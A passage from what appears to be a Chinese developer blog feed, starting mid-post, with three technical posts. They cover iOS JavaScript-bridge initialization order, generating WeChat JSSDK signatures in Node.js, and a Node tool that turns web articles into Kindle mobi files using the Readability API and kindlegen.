    [self showLoading:NO animated:YES];
}

// 响应js端发送的通知"setTitle",修改页面标题
- (void)jsBridge:(TGJSBridge *)bridge setTitleWithUserInfo:(NSDictionary *)userInfo fromWebView:(UIWebView *)webview
{
//    NSString *titleName = QNString([userInfo objectForKey:@"title"], _carSerialName);
    ((QNTitleView *)self.qn_navigationItem.titleView).text = QNString([userInfo objectForKey:@"title"], _carSerialName);
}

在js调用iOS时,有一个前提,就是native代码中需要首先完成jsBridge的初始化。TGJSBridge提供了一个jsBridgeReady的事件,js端监听jsBridgeReady事件并在事件处理函数中再向native发送通知。

但是有个问题,新闻客户端将TGJSBridge.js文件打包到了安装包中,web页面无需再引入此js文件。在处理像设置页面标题这种问题时,即页面加载完成之后就需要马上向native发送通知的情况,就会有问题。

  • js端直接调用jsBridge.bind(‘jsBridgeReady’)——jsBridge可能还未初始化,并不在window的context中。
  • 将jsBridge初始化操作提前,放在webViewDidStartLoad——jsBridgeReady已经被触发,但是页面js端还没开始监听jsBridgeReady事件。

native与js的jsBridge初始化调用顺序相互依赖,需要处理好,才能解决像setTitle这种操作。

新闻客户端汽车页卡车系详情页的解决方式

//提供给ios调用的方法
var mutex = false;
window.onJsBridgeReady = function(){
  if(mutex){
    return;
  }
  try{
    nanoEvtProxy.on('iosnews:settit', function(data){
      jsBridge.postNotification('setTitle', {
        title : data.value
      });
    });
    nanoEvtProxy.trigger('iosnews:ready');
  }catch(e){

  }
  mutex = true;
}

// iosnews:ready被触发之后,说明native已经完成jsBridge初始化工作。
// 然后再触发iosnews:settit事件,
// 而在上面的代码中iosnews:settit事件已经完成监听,可以向native发送通知。
nanoEvtProxy.on('iosnews:ready', function(e, data){
  nanoEvtProxy.trigger('iosnews:settit', data);  
});
- (void)webViewDidFinishLoad:(UIWebView *)webView
{
    [super webViewDidFinishLoad:webView];
    
    // jsBridge初始化代码
    
    // 页面加载完成之后调用页面中定义的onJsBridgeReady方法
    [self.webView stringByEvaluatingJavaScriptFromString:@"window.onJsBridgeReady()"];
    
}

以上流程中,各种事件的监听和触发确实比较绕。但是梳理下来,是可以保证页面标题能正常而且尽可能快的被设置的。

参考

WebView中接口隐患与手机挂马利用

【Android WebView】Js调用Native的四种方式

WebView中JavaScript与Objective-C的交互

]]>
微信jssdk使用初探 2015-05-07T00:00:00+08:00 aslinwang http://aslinwang.github.io/2015/05/using-wechat-jssdk 背景

微信在升级到6.0版本之后,引入了jssdk。 jssdk是微信公众平台面向网页开发者提供的基于微信内的网页开发工具包。通过jssdk,可以使用微信内的拍照、选图、语音、位置等手机系统的功能,还能使用微信分享、扫一扫、卡券、支付等功能。

问题

jssdk的引入产生的一个问题就是,以前在页面中只要放入WeixinJSBridge,就能使用的分享功能,目前在新版本的微信就不好使了。

function onBridgeReady(){
   //转发朋友圈
  WeixinJSBridge.on("menu:share:timeline", function(e) {
    var data = {
      img_url: ShareCfg.img,
      img_width: ShareCfg.img_w,
      img_height: ShareCfg.img_h,
      link: ShareCfg.url,
      desc:ShareCfg.desc,
      title: ShareCfg.title
    };
    WeixinJSBridge.invoke("shareTimeline", data, function(res) {
      WeixinJSBridge.log(res.err_msg)
    });
  });

  //分享给朋友
  WeixinJSBridge.on('menu:share:appmessage', function(argv) {
    WeixinJSBridge.invoke("sendAppMessage", {
      img_url: ShareCfg.img,
      img_width: ShareCfg.img_w,
      img_height: ShareCfg.img_h,
      link: ShareCfg.url,
      desc: ShareCfg.desc,
      title: ShareCfg.title
    }, function(res) {
      WeixinJSBridge.log(res.err_msg)
    });
  });
}

try{
  document.addEventListener('WeixinJSBridgeReady', function(){
    onBridgeReady();
  })
}catch(e){

}

相同的代码在6.0及以上版本的微信中,并不能改变分享的缩略图和文案。是因为微信已经禁用这种方式。继续使用分享需要用jssdk的方式。

//分享到朋友圈
wx.onMenuShareTimeline({
  title: '', // 分享标题
  link: '', // 分享链接
  imgUrl: '', // 分享图标
  success: function () { 
    // 用户确认分享后执行的回调函数
  },
  cancel: function () { 
    // 用户取消分享后执行的回调函数
  }
});
//分享给好友
wx.onMenuShareAppMessage({
  title: '', // 分享标题
  desc: '', // 分享描述
  link: '', // 分享链接
  imgUrl: '', // 分享图标
  type: '', // 分享类型,music、video或link,不填默认为link
  dataUrl: '', // 如果type是music或video,则要提供数据链接,默认为空
  success: function () { 
    // 用户确认分享后执行的回调函数
  },
  cancel: function () { 
    // 用户取消分享后执行的回调函数
  }
});

调用方式与之前相比,差异不大,不同的是引入了wx对象。这个对象在微信提供的js文件中定义,使用之前需要配置。代码如下:

wx.config({
  debug: true, // 开启调试模式,调用的所有api的返回值会在客户端alert出来,若要查看传入的参数,可以在pc端打开,参数信息会通过log打出,仅在pc端时才会打印。
  appId: '', // 必填,公众号的唯一标识
  timestamp: , // 必填,生成签名的时间戳
  nonceStr: '', // 必填,生成签名的随机串
  signature: '',// 必填,签名,见附录1
  jsApiList: [] // 必填,需要使用的JS接口列表,所有JS接口列表见附录2
});

这里面比较棘手的就是需要传appId,timestamp,nonceStr,signature。而这些参数是需要依赖后台才能获得的。所以以前简单的分享功能,只需要前端同学一人搞定,现在就不行了,需要后台同学的配合,根据微信的jssdk使用权限签名算法来获取参数timestamp,nonceStr,signature

jssdk使用权限签名算法node版本

但是,在可以运行node的环境下,前端还是可以自己搞定使用权限的签名。(好吧,精通全栈的牛人表示不用node也能搞定)。在实现签名算法之前,根据微信文档先在微信公众平台绑定域名,引入js文件。具体步骤参考微信官方文档

var getSign = function(url){
  var defer = q.defer();
  var deltaT = +new Date() - timer;

  async.waterfall([
    function gettoken(cb){// 获取access_token
      if(deltaT > EXPIRE || !sign){
        getToken(cb);
      }
      else{
        cb(null, cache.a_t);
      }
    },
    function getticket(a_t, cb){// 获取jsapi_ticket
      if(a_t){
        if(deltaT > EXPIRE || !sign){
          getTicket(a_t, cb);
        }
        else{
          cb(null, cache.tkt);
        }
      }
      else{
        cb(null);
      }
    },
    function getsign(tkt, cb){// 根据签名算法进行签名
      if(tkt){
        sign = {};
        sign.appId = APPID;// appid
        sign.nonceStr = 'aslinwang';// nonceStr,自己随便定义
        sign.timestamp = Math.round(+new Date() / 1000);// timestamp 时间戳
        
        var str = [
          'jsapi_ticket=', tkt,
          '&noncestr=', sign.nonceStr,
          '&timestamp=', sign.timestamp,
          '&url=', url
        ].join('');

        var sha1 = crypto.createHash('sha1');
        sha1.update(str);

        cb(null, sha1.digest('hex'));
      }
      else{
        cb(null);
      }
    }
  ], function(err, res){
    sign.signature = res;// signature 签名 
    defer.resolve(sign);
  });

  return defer.promise;
};

function getToken(cb){
  var opts = {
    hostname : 'api.weixin.qq.com',
    port : 443,
    path : ['/cgi-bin/token?grant_type=client_credential&appid=', APPID, '&secret=', APPSECRET].join(''),
    method : 'GET'
  };

  var req = https.request(opts, function(res){
    var _chunk;
    res.on('data', function(chunk){
      _chunk = _chunk ? _chunk + chunk : chunk;
    });

    res.on('end', function(){
      timer = +new Date();
      
      if(cb){
        _chunk = JSON.parse(_chunk);
        cache.a_t = _chunk.access_token;
        cb(null, _chunk.access_token);
      }
    });
  });

  req.end();

  req.on('error', function(e){
    conosole.log(e);
    cb(null, '');
  });
}

function getTicket(token, cb){
  var opts = {
    hostname : 'api.weixin.qq.com',
    port : 443,
    path : ['/cgi-bin/ticket/getticket?access_token=', token , '&type=jsapi'].join(''),
    method : 'GET'
  };

  var req = https.request(opts, function(res){
    var _chunk;
    res.on('data', function(chunk){
      _chunk = _chunk ? _chunk + chunk : chunk;
    });

    res.on('end', function(){
      _chunk = JSON.parse(_chunk);
      cache.tkt = _chunk.ticket;
      cb(null, _chunk.ticket);
    });
  });

  req.end();

  req.on('error', function(e){
    console.log(e);
    cb(null, '');
  });
}

拿到这几个参数之后,jssdk中的接口就可以随便使用了。

注意事项

  • access_token和jsapi_ticket有效期是7200s,开发者必须在自己的服务全局缓存这两个值
  • 绑定域名的公众号必须要通过微信认证
  • 以qq.com为根域名的页面,老的WeixinJSBridge方案仍然被兼容,但是建议都切到jssdk方案,以免随着后面微信版本的升级,不再兼容WeixinJSBridge方案
  • 公司内部josephzhou哥将jssdk做了一次封装,实现了自动获取timestamp,nonceStr,signature参数的过程,试用之后感觉挺方便的。申请接入,点此了解(公司内网地址)

参考

  • http://mp.weixin.qq.com/wiki/7/aaa137b55fb2e0456bf8dd9148dd613f.html
]]>
mobi文件的一种制作方法 2014-08-09T00:00:00+08:00 aslinwang http://aslinwang.github.io/2014/08/mobi-maker 背景

今年上半年,入了一个kindle paperwhite来看看电子书,挺好用的。但是在使用中发现,平时除了看一些电子书之外,也会看网页文章。更多的时候是在上下班路途中,地铁上无3g信号等恶劣环境下想看看书。所以,如果能把平时来不及看的文章转到kindle上,将会让上班路上的旅程非常愉快。:D

解决方案

先写方案,可以简单归纳为以下几点:

  • 定义配置。声明mobi文件的标题、作者、文章链接
  • 根据文章链接,抓取文章内容(html格式)
  • 组合内容,写入一个html文件
  • 使用工具kindlegen,处理html文件,最终生成mobi文件
  • 拿到mobi文件之后,通过邮件的方式传到kindle即可

具体实现

定义配置

配置文件代码片段如下:

module.exports = {
  dir : '20140706/',//生成mobi文件的目录
  title : 'mobi_demo',//mobi文件标题
  author : 'aslinwang',//mobi文件作者
  urls : [//文章链接数组
    'http://greengerong.github.io/blog/2013/04/14/li-yong-Travis-CI-rang-ni-di-github-xiang-mu-chi-xu-gou-jian-Node-js-wei-li/',
    'http://blog.jobbole.com/63770/?from=timeline&isappinstalled=0',
    'http://mp.weixin.qq.com/s?__biz=MjM5NjY5NTM0MQ==&mid=201123995&idx=1&sn=70484e70a1f6fe63f7ef86b72f358cc0&scene=2&from=timeline&isappinstalled=0#rd',
    'http://www.oschina.net/translate/mistakes-avoid-responsive-web-design',
    'http://jser.it/blog/2014/07/07/numbers-in-javascript/'
  ]
};

抓取网页内容

这里使用了readability.com的一个服务,调用其API并传入文章链接,可以获取到文章html内容。 API中token参数需要到其网站注册申请,url参数为文章链接 代码片段如下:

var parse = (function(){
  var jsons = [];
  var defer = q.defer();

  var action = function(urls){
    var url = urls.shift();
    if(!url){
      defer.resolve(jsons);
      jsons = [];
      return
    }
    console.log(url);
    var data = {
      token : config.TOKEN,
      url : url
    }
    var req = https.request({
      hostname : 'readability.com',
      port : 443,
      method : 'GET',
      path : '/api/content/v1/parser?' + qs.stringify(data)
    }, function(res){
      var _chunk;
      res.setEncoding('utf-8');
      res.on('data', function(chunk){
        _chunk = _chunk ? _chunk + chunk : chunk;
      });
      res.on('end', function(){
        var json = JSON.parse(_chunk);
        jsons.push(json);

        action(urls);
      });
    });

    req.on('error', function(e){
      defer.reject('parse request error!');
    });

    req.end();

    return defer.promise;
  }

  return action;
}());

组合内容为html文件

上面的步骤可以获取到各个文章的html内容,这个步骤就是简单的将这些内容组合成一个html文件。代码片段如下所示:

var makeMobi = function(info){
  DATA_PATH = DATA_PATH + info.dir;
  //make html 文件操作
  var dest = './modules/mobi/data/' + info.dir + info.title + '.html';
  var html = [
    '<html>',
      '<head>',
        '<title><%=title%></title>',
      '</head>',
      '<body>',
      '<%for(var i=0;i<pages.length;i++){ %>',
        '<h1><%=pages[i].title%></h1>',
        '<%=pages[i].content%>',
        '<br /><br />',
      '<% } %>',
      '</body>',
    '</html>'
  ].join('');
  var medias = [];
  for(var i = 0; i < info.pages.length; i++){
    info.pages[i].title = util.encodeGB2312(info.pages[i].title);

    info.pages[i].content = parseMedia(info.pages[i].content);
  }
  info.title = util.encodeGB2312(info.title);
  html = util.txTpl(html, info);
    html = cureHtml(html);
  fs.writeFile(dest, html, function(e){
    fetchMedia().done(function(){
      //html -> mobi
      cp.exec('kindlegen ' + dest, function(err, stdout, stderr){
        console.log('kindlegen log>>>', stdout);
        console.log('kindlegen err>>>', stderr);
      });
    });
  });
};

需要注意的是,需要对内容中所含的中文进行编码,否则在kindle中阅读的时候,中文将会是乱码。 还有一点是上面的代码对图片()的处理。程序将图片从网络上拉取存在本地,然后将图片的src改成本地地址。这么做是因为在下面生成mobi文件的时候,kindlegen不能拉取网络图。

生成mobi文件

在上面的代码中,其实已经涉及到了生成mobi文件的过程,简单执行一个命令行即可。具体kindlegen的用法可以通过help了解

cp.exec('kindlegen ' + dest, function(err, stdout, stderr){
    console.log('kindlegen log>>>', stdout);
    console.log('kindlegen err>>>', stderr);
});

`` 拿到mobi文件之后,后面的过程就是上传到kindle中了。

使用方法

  • 在modules/mobi/data目录下新建一个格式为”yyyymmdd”的目录,并编写配置文件index.js
  • 输入命令:
node app.js -mobi 20140809

参考

  • https://www.readability.com/developers/api/parser (readability文档)
  • http://www.idpf.org/epub/20/spec/OPF_2.0.1_draft.htm (OPF格式规范)
  • http://www.amazon.com/gp/feature.html?ie=UTF8&docId=1000765211 (kindlegen下载地址,注册账户所在国籍必须是美帝才能下载。。)
  • http://aslinwang.u.qiniudn.com/Android_Training.mobi (利用此方法制作的Android官网Training文件)

项目主页

https://github.com/aslinwang/aslin

https://github.com/aslinwang/aslin/modules/mobi (mobi制作模块)

]]>